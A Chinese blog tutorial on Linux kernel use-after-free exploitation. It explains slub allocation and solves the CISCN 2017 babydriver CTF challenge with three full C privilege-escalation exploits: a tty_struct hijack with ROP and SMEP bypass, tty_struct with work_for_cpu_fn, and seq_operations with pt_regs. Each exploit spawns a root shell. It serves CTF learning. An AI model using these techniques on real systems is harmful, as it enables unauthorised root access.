我的fastbin呢?
[toc]
Linux Kernel UAF漫谈 0x00. Linux Kernel中的内存管理 内存管理的数据结构 Linux Kernel
下的内存管理系统分为Buddy System
(伙伴系统)和slub allocator
,而笔者对于buddy system
的理解有点类似于用户态下通过mmap
来分配的、更大的内存。而slub allocator
即管理更小的、零散的内存。
首先来看slub allocator
的组成。笔者看到slub allocator
的示意图后,初见觉得非常复杂,而细看后,更复杂了。但从Linux kernel pwn
的角度来看,其实并不需要到熟读源码和细致的结构体的程度(初学阶段)。
与用户态的chunk
对应的(只是类似,并不是完全对应),kernel
中有一个结构体叫做object
。它即为slub allocator
分配的基本单元。而与用户态对应的bins
分为两种,一个叫做kmem_cache_cpu
,而另一种叫做kmem_cache_node
,它们将管理我们提到的object
。
简要介绍一下kmem_cache_cpu
。kmem_cache_cpu
是一个**percpu
变量**(这意味着,每个CPU
上都独立有一份kmem_cache_cpu
的副本,通过gs
寄存器作为percpu
基址进行寻址),表示当前CPU
使用的slub
,直接从当前CPU
来存取object
,不需要加锁,能够提高性能。然而这对于我们在Linux Kernel Pwn
中,只会成为负担,毕竟我们并不希望额外考虑当前正在使用哪个CPU
~。因此,我们在利用前,可以将我们的程序绑定到某个CPU
上,即可无视掉这条规则。
而对于kmem_cache_node
,它包括两个链表,其中一个叫做partial
,另一个叫做full
。顾名思义,partial
链表中,存在部分空闲的object
;而full
链表中,全部object
都已经被分配了。
分配过程 首先,slub allocator
从kmem_cache_cpu
上取object
,若kmem_cache_cpu
上存在,则直接返回;
若kmem_cache_cpu
上的slub
无空闲对象了,那么该slub
会被加入到kmem_cache_node
中的full
链表,并从partial
链表中取一个slub
挂载到kmem_cache_cpu
上,然后重复第一步的操作,取出object
并返回。
若kmem_cache_cpu
的partial
链表也空了,那么会向buddy system
请求分配新的内存页,划分为多个object
,并给到kmem_cache_cpu
,取出object
并返回。
释放过程 释放过程需要看被释放的object
属于的slub
现在位于哪里。
若其slub
现在位于kmem_cache_cpu
,则直接头插法插入当前kmem_cache_cpu
的freelist
链表。
若其slub
属于kmem_cache_node
的partial
链表上的slub
,则同样通过头插法插入对应的slub
中的freelist
。
若其slub
属于kmem_cache_node
的full
链表上的slub
,则会使其成为对应slub
的freelist
的头结点,并将该slub
从full
链表迁移到partial
。
0x01. 分配细节 基于大小分配 对于slub allocator
,其分配类似于用户态下unsortedbin
的切割,而不是fastbin
或者tcache
。
slub allocator
中的kmem_cache
存在多种不同大小,每一种都对应一种特定大小的对象,且均为2
的幂次方,例如8
字节、16
字节、256
字节、0x100
字节、0x200
字节、0x400
字节…..等等。在分配时,其会选择一个大于其大小的2
的幂次方的值。
例如,tty_struct
的大小为0x2b8
,为了能够满足其大小,其会使用kmalloc-1024
这样的kmem_cache
。
此外,为了减少内存碎片,还有一些特殊大小的slub
,例如96
字节和192
字节。
kmalloc flag的隔离机制 在Linux Kernel
中,并不是所有内存分配都基于上面的描述,例如kmalloc
还存在一个flag
机制,其包括两种,一个叫做GFP_KERNEL
,另一个叫做GFP_KERNEL_ACCOUNT
。其中,与用户空间的数据相关联的对象会有GFP_KERNEL_ACCOUNT
这样的flag
,而与用户空间数据不直接相关的flag
为GFP_KERNEL
。
在Linux kernel
的版本位于5.9
之前,或者5.14
及以后时,这两个flag
的object
存在隔离机制。即,这些object
会完全位于独立、不同的slub
中,如下所示:(图来自于arttnba3
师傅)
如上所示,只要对于开启了CONFIG_MEMCG_KMEM
编译选项的kernel
,其会为使用GFP_KERNEL_ACCOUNT
进行分配的通用对象创建一组独立的kmem_cache
,即图中带有cg
字样的kmalloc
。
kmalloc flag: SLAB_ACCOUNT SLAB_ACCOUNT
同样是一种flag
。对于某些特殊的slub
,例如cred_jar
是一个专门用于分配cred
结构体的kmem_cache
,但由于其大小也属于kmalloc-192
,因此cred
结构体和其他属于192
大小的object
都会从同一个kmem_cache
,即kmalloc-192
中分配。
而新版内核中,cred_jar
被添加了SLAB_ACCOUNT
,这意味着cred_jar
与kmalloc-192
现在相互隔离,为两个不同的slub
。
这带来的最大的影响就是,我们无法直接使用UAF
直接申请回某些带有SLAB_ACCOUNT
的flag
的object
,例如申请回控制uid
的cred
结构体。
0x02. 初探Kernel UAF:2017-CISCN-babydriver 题目详情 首先查看题目启动脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/bash qemu-system-x86_64 \ -initrd core.cpio \ -kernel bzImage \ -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \ -enable-kvm \ -monitor /dev/null \ -m 128M \ --nographic \ -smp cores=1,threads=1 \ -cpu kvm64,+smep \ -s
可以看到,其开启了smep
,这意味着要使用ret2usr
的话,至少需要控制cr4
的值为0x6f0
。
没有开启kaslr
,这意味着我们可以直接通过vmlinux
来提取gadgets
的地址。
再看rcS
启动脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #!/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /devchown root:root flagchmod 400 flagexec 0</dev/consoleexec 1>/dev/consoleexec 2>/dev/console insmod /lib/modules/4.4.72/babydriver.kochmod 777 /dev/babydevecho -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 0 -f
能看到题目挂载的驱动叫做/dev/baby
。
没有设置dmesg_restrict
,这意味着我们可以通过dmseg
查看内核printk
的输出。
没有设置kptr_restict
,这意味着普通用户可以通过cat /proc/kallsyms
查看所有内核函数的地址。
程序的逻辑很简单,类似于菜单堆,含有一个全局变量babydev_struct
。
open
函数会初始化该结构体:
ioctl
函数可以通过kmalloc
重新分配设置大小:
release
中会通过kfree
释放object
,但没有置空,存在UAF
:
而write
函数和read
函数即为常规的填写和读内容,不再赘述。
此外,由于babydev_struct
结构体是一个全局变量,因此若我们通过open
来打开/dev/babydev
两次,其fd
会指向同一个babydev_struct
,相信你能理解。
解题思路总览 本题中白给了一个UAF
,这意味着我们可以通过释放一个object
,再让内核中的某个结构体使用这个object
,便可以达到任意写这个object
的目的。这也就是我们kernel pwn
的UAF
中的常见利用方式。
因此,结构体的选择便是一个有趣的问题,根据结构体的不同,我们有不同的解题方案来选择。
解题思路1:tty_struct + 栈迁移(kmalloc-1k,GFP_KERNEL_ACCOUNT) 在/dev
下存在一个伪终端设备ptmx
,打开该设备时内核会创建一个tty_struct
结构体,与其他类型的设备相同,tty
驱动设备也含有一个存放函数指针的结构体tty_operations
。因此,我们可以利用UAF
来劫持tty_struct
结构体,并劫持tty_operations
中的函数指针。
而难点在于,kernel
中是不存在类似于用户态中的one_gadget
这样直接拿到权限的函数的。这意味着我们至少需要通过栈迁移,来完成ROP
才可以执行commit_creds(prepare_kernel_cred(NULL))
。
调试观察寄存器状态,在我们劫持tty_operations
并调用其中的函数指针时,RAX
寄存器的值恰好为tty_operations
结构体的地址。因此,我们可以设置劫持tty_operations
表中的所有函数指针为mov rsp, rax; ret
这样的gadget
,便可以将rsp
劫持到该结构体起始位置。而即使这样,rop
的空间也比较小,因此我们将tty_operations
函数表中的起始位置改为pop rsp; ret
这样的gadget
,再在tty_operations[1]
中写一个rop
链的地址,即可完成再一次栈迁移到我们编写的rop
链~
需要注意的是,ropper
和ROPgadget
需要配合使用。例如,对于mov rsp, rax; dec ebx; ret
这样的gadget
,ropper
无法找到:
而Ropgadget
可以找到:
经过调试,第一条jmp
的位置实际上就是ret
。因此,需要配合查找gadget
。
exp
如下:(main
函数中有详细注释)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #include <stdarg.h> #define POP_RDI_RET 0xffffffff810d238d #define POP_RAX_RET 0xffffffff8100ce6e #define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80 #define MOV_RSP_RAX_DEC_EBX_RET 0xffffffff8181bfc5 #define SWAPGS_POP_RBP_RET 0xffffffff81063694 #define IRETQ_RET 0xffffffff814e35ef void info (const char *format, ...) { va_list args; va_start(args, format); printf ("%s" , "\033[34m\033[1m[*] " ); vprintf (format, args); printf ("%s" , "\033[0m\n" ); }void success (const char *format, ...) { va_list args; va_start(args, format); printf ("%s" , "\033[32m\033[1m[+] " ); vprintf (format, args); printf ("%s" , "\033[0m\n" ); }void error (const char *format, ...) { va_list args; va_start(args, format); printf ("%s" , "\033[31m\033[1m[x] " ); vprintf (format, args); printf ("%s" , "\033[0m\n" ); }size_t commit_creds = 0 , prepare_kernel_cred = 0 ;size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ) ; info("Status has been saved." ); }void get_root_shell (void ) { if (getuid()) { error("Failed to get the root!" ); exit (-1 ); } success("Successful to get the root. Execve root shell now..." ); system("/bin/sh" ); }void get_root_privilige () { void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred; void * (*commit_creds_ptr)(void *) = commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL )); }int main () { info("Starting to exploit..." ); save_status(); FILE *sym_fd = fopen("/proc/kallsyms" , "r" ); if (sym_fd < 0 ) { error("Open /proc/kallsyms Failed." ); exit (0 ); } size_t address = 0 ; char type[2 ]; char func[0x50 ]; while (fscanf (sym_fd, "%llx%s%s" , &address, type, func)){ if (commit_creds && prepare_kernel_cred){ success("The address of functions are all found." ); break ; } if (!strcmp (func, "prepare_kernel_cred" )){ prepare_kernel_cred = address; } if (!strcmp (func, "commit_creds" )){ commit_creds = address; } } if (!commit_creds || !prepare_kernel_cred){ error("Failed to get the function address." ); } success("The address of prepare_kernel_cred is 0x%llx." , prepare_kernel_cred); success("The address of commit_creds is 0x%llx." , commit_creds); size_t rop[0x20 ], p = 0 ; rop[p++] = POP_RDI_RET; rop[p++] = 0x6f0 ; rop[p++] = MOV_CR4_RDI_POP_RBP_RET; rop[p++] = 0 ; rop[p++] = (size_t )get_root_privilige; rop[p++] = SWAPGS_POP_RBP_RET; rop[p++] = 0 ; rop[p++] = IRETQ_RET; rop[p++] = get_root_shell; rop[p++] = user_cs; rop[p++] = user_rflags; rop[p++] = user_sp; rop[p++] = user_ss; size_t fake_op[0x30 ]; for (int i=0 ;i<0x30 ;i++){ fake_op[i] = MOV_RSP_RAX_DEC_EBX_RET; } fake_op[0 ] = POP_RAX_RET; fake_op[1 ] = rop; int fd1 = open("/dev/babydev" , 2 ); int fd2 = open("/dev/babydev" , 2 ); ioctl(fd1, 0x10001 , 0x2e0 ); close(fd1); size_t fake_tty[0x20 ]; int fd3 = open("/dev/ptmx" , 2 ); read(fd2, fake_tty, 0x40 ); fake_tty[3 ] = fake_op; write(fd2, fake_tty, 0x40 ); write(fd3, func, 0x8 ); return 0 ; }
解题思路2:tty_struct + work_for_cpu_fn 上一种解题思路中,我们劫持了tty_struct
,随后进行了两次栈迁移来打rop
,而且需要绕过smep
等保护措施。这样做比较麻烦,因此我们来看一种简单一点的方法,即利用work_for_cpu_fn
函数。
该函数在开启了多核支持的内核中都有这个函数,其定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 struct work_for_cpu { struct work_struct work ; long (*fn)(void *); void *arg; long ret; }; static void work_for_cpu_fn (struct work_struct *work) { struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work); wfc->ret = wfc->fn(wfc->arg); }
因此该函数可以简单理解为如下形式:
1 2 3 4 static void work_for_cpu_fn (size_t * args) { args[6 ] = ((size_t (*) (size_t )) (args[4 ](args[5 ])); }
查看函数表:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 struct tty_operations { struct tty_struct * (*lookup )(struct tty_driver *driver , struct file *filp , int idx ); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); unsigned int (*write_room) (struct tty_struct *tty) ; unsigned int (*chars_in_buffer) (struct tty_struct *tty) ; int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); ......
可以得知,这些函数表中的第一个参数均为tty_struct
本身。
因此,若我们将tty_struct
劫持为如下形式:
1 2 tty_struct[4 ] = (size_t )commit_creds; tty_struct[5 ] = (size_t )init_cred;
将函数表中的函数覆盖为work_for_cpu_fn
,即可执行:
1 ((void *)tty_struct[4 ])(tty_struct[5 ]);
即:
1 commit_creds(&init_cred);
需要注意的是,这里劫持函数表tty_operations
中的ioctl
而不是write
函数。原因比较复杂,此处不再赘述。
需要注意的是,执行commit_cred(&init_cred)
后,我们还原tty_struct
结构体中的内容即可。
这种解法的exp
如下(main
函数中有详细注释):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #include <stdarg.h> #define POP_RDI_RET 0xffffffff810d238d #define POP_RAX_RET 0xffffffff8100ce6e #define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80 #define MOV_RSP_RAX_DEC_EBX_RET 0xffffffff8181bfc5 #define SWAPGS_POP_RBP_RET 0xffffffff81063694 #define IRETQ_RET 0xffffffff814e35ef void info (const char *format, ...) { va_list args; va_start(args, format); printf ("%s" , "\033[34m\033[1m[*] " ); vprintf (format, args); printf ("%s" , "\033[0m\n" ); }void success (const char *format, ...) { va_list args; va_start(args, format); printf ("%s" , "\033[32m\033[1m[+] " ); vprintf (format, args); printf ("%s" , "\033[0m\n" ); }void error (const char *format, ...) { va_list args; va_start(args, format); printf ("%s" , "\033[31m\033[1m[x] " ); vprintf (format, args); printf ("%s" , "\033[0m\n" ); }size_t commit_creds = 0 , prepare_kernel_cred = 0 , work_for_cpu_fn = 0 , init_cred = 0 ;size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ) ; info("Status has been saved." ); }void get_root_shell (void ) { if (getuid()) { error("Failed to get the root!" ); exit (-1 ); } success("Successful to get the root. Execve root shell now..." ); system("/bin/sh" ); }void get_root_privilige () { void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred; void * (*commit_creds_ptr)(void *) = commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL )); }int main () { info("Starting to exploit..." ); save_status(); FILE *sym_fd = fopen("/proc/kallsyms" , "r" ); if (sym_fd < 0 ) { error("Open /proc/kallsyms Failed." ); exit (0 ); } size_t address = 0 ; char type[2 ]; char func[0x50 ]; while (fscanf (sym_fd, "%llx%s%s" , &address, type, func)){ if (commit_creds && prepare_kernel_cred && work_for_cpu_fn && init_cred){ success("The address of functions are all found." ); break ; } if (!strcmp (func, "prepare_kernel_cred" )){ prepare_kernel_cred = address; } if (!strcmp (func, "commit_creds" )){ commit_creds = address; } if (!strcmp (func, "work_for_cpu_fn" )){ work_for_cpu_fn = address; } if (!strcmp (func, "init_cred" )){ init_cred = address; } } if (!commit_creds || !prepare_kernel_cred || !work_for_cpu_fn || !init_cred){ error("Failed to get the function address." ); } success("The address of prepare_kernel_cred is 0x%llx." , prepare_kernel_cred); success("The address of commit_creds is 0x%llx." , commit_creds); success("The address of work_for_cpu_fn is 0x%llx." , work_for_cpu_fn); success("The address of init_cred is 0x%llx." , init_cred); size_t buf[0x50 ]; size_t fake_tty[0x50 ]; size_t fake_ope[0x50 ]; size_t origin_tty[0x2d0 ]; int fd1 = open("/dev/babydev" , 2 ); int fd2 = open("/dev/babydev" , 2 ); ioctl(fd2, 0x10001 , 0x2e0 ); close(fd1); info("opening tty_struct..." ); int fd3 = open("/dev/ptmx" , 2 ); read(fd2, origin_tty, 0x2d0 ); read(fd2, fake_tty, 0x40 ); fake_tty[3 ] = fake_ope; info("changing the tty_operations..." ); fake_ope[12 ] = (size_t )work_for_cpu_fn; fake_tty[4 ] = (size_t )commit_creds; fake_tty[5 ] = (size_t )init_cred; info("writing changed tty_struct..." ); write(fd2, fake_tty, 0x40 ); info("exploiting ioctl..." ); ioctl(fd3, 0xdeadbeaf , 0xdeadbeaf ); info("fix the tty_struct..." ); write(fd2, origin_tty, 0x2d0 ); close(fd3); get_root_shell(); }
解题思路3:seq_file(kmalloc-32, GFP_KERNEL_ACCOUNT)+ pt_regs seq_file
叫做序列文件接口Sequence File Intreface
,其结构体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 struct seq_file { char *buf; size_t size; size_t from; size_t count; size_t pad_until; loff_t index; loff_t read_pos; struct mutex lock ; const struct seq_operations *op ; int poll_event; const struct file *file ; void *private; };
而实际上,seq_file
这个结构体我们是无法打开来申请内存空间的。但我们可以通过open("/proc/self/stat")
,来打开并申请seq_operation
这个结构体 ,也就是上面写的seq_file
的函数指针表,其数据结构如下所示:
1 2 3 4 5 6 struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
可以看到,其中只含有四个函数指针。我们在申请到该结构体时,可以直接读取其中的start
函数,其实际上是内核函数single_start
的地址 。由此可以泄露内核基地址。
而利用方式也很简单,只需要**对该结构体使用read
,其就会调用seq_operation->start
**。因此只要覆盖start
函数指针,即可完成程序控制流劫持。但注意,该函数的参数是无法控制的,因此我们通常会选取其它数据结构一起,例如pt_regs
配合rop
。
总结该结构体的利用方式:
通过open("/proc/self/stat")
来分配seq_operation
结构体,kmalloc-32, GFP_KERNEL_ACCOUNT
通过读取start
函数地址来获取到single_start
函数地址,从而泄露内核基地址
通过覆盖start
函数来劫持程序控制流,无法控制参数,通常配合pt_regs
等其它数据结构
那么回到本题,我们可以利用UAF
写seq_operation
结构体,覆盖start
函数指针为一个add_rsp_xxx_ret
类似的gadget
,使其调用该函数时,rsp
能位于pt_regs
结构体的位置。这里有两点需要阐明和注意:
什么是pt_regs
结构体?简单来说,就是用户态的寄存器在进入内核态的时候仍然会保留在栈底,因此若我们进入内核态前提前控制了这些寄存器的值,那么便可以在内核栈底留下一些可控数据。例如,我们可以用这些数据来实现rop
。
因此,通过seq_file
来利用pt_regs
结构体的一个shellcode
板子如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __asm__( "mov r15, 0xbeefdead;" "mov r14, 0x11111111;" "mov r13, 0x22222222;" "mov r12, 0x33333333;" "mov rbp, 0x44444444;" "mov rbx, 0x55555555;" "mov r11, 0x66666666;" "mov r10, 0x77777777;" "mov r9, 0x88888888;" "mov r8, 0x99999999;" "xor rax, rax;" "mov rcx, 0xaaaaaaaa;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, seq_fd;" "syscall" );
上面我们直接使用汇编写了read(seq_fd, rsp, 8)
这样来调用seq_operation->start
。这是推荐的做法。笔者曾经有一次打算写C
语言的read
,而rbp
又被我们改了,就导致奇怪的报错。
另外一点,找到add rsp, xxxx
这样的gadget
比较困难,有的gadget
无法通过ropper
或者是ROPgadget
找到,而pwntools
却可以找到这样的gadget
。例如,本题中存在这样一个gadget
:
1 2 3 4 5 6 7 8 0xffffffff812743a5: add rsp,0x120 0xffffffff812743ac: pop rbx 0xffffffff812743ad: pop r12 0xffffffff812743af: pop r13 0xffffffff812743b1: pop r14 0xffffffff812743b3: pop r15 0xffffffff812743b5: pop rbp 0xffffffff812743b6: ret
加起来刚好是0x148
。而我们在使用seq_operations->start
来试图将rsp
抬到pt_regs
时,刚好需要将rsp
加上0x148
。除了这一条gadget
,其它ropper
和ROPgadget
都无法找到这样的gadget
。而这条gadget
又无法通过这俩找到。pwntools
可以找到,但在知道这样一个gadget
之前,如何知道这个gadget
是这个样子呢?(悲)
这里问了t1d
师傅和lotus
师傅(还得是t1d & lotus
),可以通过pwntools
写正则找,或者简单的方式,由于偏移我们能算出来是0x148
,因此可以在一个小范围内手动check
一下。例如需要0x148
,那就大不了从0x110
开始慢慢找?不失为一种解决方案(笑)。
随后该种方法的exp
如下,仍然是可以通过main
函数中的注释来理解该方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #include <stdarg.h> #define POP_RDI_RET 0xffffffff810d238d #define POP_RAX_RET 0xffffffff8100ce6e #define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80 #define MOV_RSP_RAX_DEC_EBX_RET 0xffffffff8181bfc5 #define SWAPGS_POP_RBP_RET 0xffffffff81063694 #define IRETQ_RET 0xffffffff814e35ef #define ADD_RSP_0x150_RET 0xffffffff812743a5 #define ADD_RSP_0X48_RET 0xffffffff8111fd8e #define POP_RSP_RET 0xffffffff81171045 void info (const char *format, ...) { va_list args; va_start(args, format); printf ("%s" , "\033[34m\033[1m[*] " ); vprintf (format, args); printf ("%s" , "\033[0m\n" ); }void success (const char *format, ...) { va_list args; va_start(args, format); printf ("%s" , "\033[32m\033[1m[+] " ); vprintf (format, args); printf ("%s" , "\033[0m\n" ); }void error (const char *format, ...) { va_list args; va_start(args, format); printf ("%s" , "\033[31m\033[1m[x] " ); vprintf (format, args); printf ("%s" , "\033[0m\n" ); }size_t commit_creds = 0 , prepare_kernel_cred = 0 , work_for_cpu_fn = 0 , init_cred = 0 ;int seq_fd = 0 ;size_t user_cs, user_ss, user_rflags, user_sp;size_t pop_rdi_ret = POP_RDI_RET;size_t mov_cr4_rdi_pop_rbp_ret = MOV_CR4_RDI_POP_RBP_RET;size_t add_rsp_0x48_ret = ADD_RSP_0X48_RET;size_t pop_rsp_ret = POP_RSP_RET;size_t rop[0x200 ] = {0 , };size_t function = (size_t )&rop[0 ];void save_status () { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ) ; info("Status has been saved." ); }void get_root_shell (void ) { if (getuid()) { error("Failed to get the root!" ); exit (-1 ); } success("Successful to get the root. Execve root shell now..." ); system("/bin/sh" ); }void get_root_privilige () { void *(*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred; void *(*commit_creds_ptr)(void *) = commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL )); }void baby_ioctl (int lfd, size_t len) { ioctl(lfd, 0x10001 , len); }int main () { info("Starting to exploit..." ); save_status(); FILE *sym_fd = fopen("/proc/kallsyms" , "r" ); if (sym_fd < 0 ) { error("Open /proc/kallsyms Failed." ); exit (0 ); } size_t address = 0 ; char type[2 ]; char func[0x50 ]; while (fscanf (sym_fd, "%llx%s%s" , &address, type, func)) { if (commit_creds && prepare_kernel_cred && init_cred) { success("The address of functions are all found." ); break ; } if (!strcmp (func, "prepare_kernel_cred" )) { prepare_kernel_cred = address; } if (!strcmp (func, "commit_creds" )) { commit_creds = address; } if (!strcmp (func, "init_cred" )) { init_cred = address; } } if (!commit_creds || !prepare_kernel_cred || !work_for_cpu_fn || !init_cred) { error("Failed to get the function address." ); } success("The address of prepare_kernel_cred is 0x%llx." , prepare_kernel_cred); success("The address of commit_creds is 0x%llx." , commit_creds); success("The address of init_cred is 0x%llx." , init_cred); size_t buf[0x300 ] = {0 , }; size_t fake_tty[0x50 ]; size_t fake_ope[0x50 ]; size_t origin_tty[0x2d0 ]; int fd1 = open("/dev/babydev" , 2 ); int fd2 = open("/dev/babydev" , 2 ); ioctl(fd1, 0x10001 , 0x20 ); close(fd1); seq_fd = open("/proc/self/stat" , O_RDONLY); read(fd2, buf, 0x18 ); success("The address of function in seq_operations is 0x%llx." , buf[0 ]); buf[0 ] = ADD_RSP_0x150_RET; write(fd2, buf, 8 ); int p = 0 ; rop[p++] = POP_RDI_RET; rop[p++] = init_cred; rop[p++] = commit_creds; rop[p++] = SWAPGS_POP_RBP_RET; rop[p++] = 0xdeadbeaf ; rop[p++] = IRETQ_RET; rop[p++] = get_root_shell; rop[p++] = user_cs; rop[p++] = user_rflags; rop[p++] = user_sp; rop[p++] = user_ss; info("Preparing pt_regs..." ); __asm__( "mov r15, 0xbeefdead;" "mov r14, 0xdeadbeaf;" "mov r13, mov_cr4_rdi_pop_rbp_ret;" "mov r12, 0x6f0;" "mov rbp, add_rsp_0x48_ret;" "mov rbx, pop_rdi_ret;" "mov r11, 0x66666666;" "mov r10, 0xdeadbeaf;" "mov r9, pop_rsp_ret;" "mov r8, function;" "xor rax, rax;" "mov rcx, 0xaaaaaaaa;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, seq_fd;" "syscall;" ); return 0 ; }
0x0?. 参考内容 arttnba3师傅的博客
【kernel-pwn】一题多解:从CISCN2017-babydriver入门题带你学习tty_struct、seq_file、msg_msg、pt_regs的利用_ciscn 2017 babydrive-CSDN博客